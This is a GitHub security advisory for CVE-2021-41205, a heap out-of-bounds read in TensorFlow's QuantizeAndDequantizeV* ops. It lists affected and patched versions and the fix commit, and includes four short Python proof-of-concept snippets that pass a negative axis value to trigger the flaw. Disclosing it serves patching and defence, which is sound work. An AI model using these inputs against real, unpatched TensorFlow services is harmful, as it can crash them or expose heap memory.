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Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops

High severity GitHub Reviewed Published Nov 4, 2021 in tensorflow/tensorflow • Updated Feb 1, 2023

Package

pip tensorflow (pip)

Affected versions

>= 2.6.0, < 2.6.1
>= 2.5.0, < 2.5.2
< 2.4.4

Patched versions

2.6.1
2.5.2
2.4.4
pip tensorflow-cpu (pip)
>= 2.6.0, < 2.6.1
>= 2.5.0, < 2.5.2
< 2.4.4
2.6.1
2.5.2
2.4.4
pip tensorflow-gpu (pip)
>= 2.6.0, < 2.6.1
>= 2.5.0, < 2.5.2
< 2.4.4
2.6.1
2.5.2
2.4.4

Description

Impact

The shape inference functions for the QuantizeAndDequantizeV* operations can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs:

import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV4Grad(
    gradients=[1.0,1.0],
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    axis=-100)
  return data

test()
import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV4(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    round_mode='HALF_TO_EVEN',
    narrow_range=False,
    axis=-100)
  return data

test()
import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV3(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    narrow_range=False,
    axis=-100)
  return data

test()
import tensorflow as tf

@tf.function
def test():
  data=tf.raw_ops.QuantizeAndDequantizeV2(
    input=[1.0,1.0],
    input_min=[1.0,10.0],
    input_max=[1.0,10.0],
    signed_input=False,
    num_bits=10,
    range_given=False,
    round_mode='HALF_TO_EVEN',
    narrow_range=False,
    axis=-100)
  return data

test()

In all of these cases, axis is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values:

...
if (axis != -1) {
  ...
  c->Dim(input, axis);
  ...
}

Patches

We have patched the issue in GitHub commit 7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d.

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

References

@mihaimaruseac mihaimaruseac published to tensorflow/tensorflow Nov 4, 2021
Published by the National Vulnerability Database Nov 5, 2021
Reviewed Nov 8, 2021
Published to the GitHub Advisory Database Nov 10, 2021
Last updated Feb 1, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

EPSS score

0.044%
(14th percentile)

Weaknesses

CVE ID

CVE-2021-41205

GHSA ID

GHSA-49rx-x2rw-pc6f

Source code

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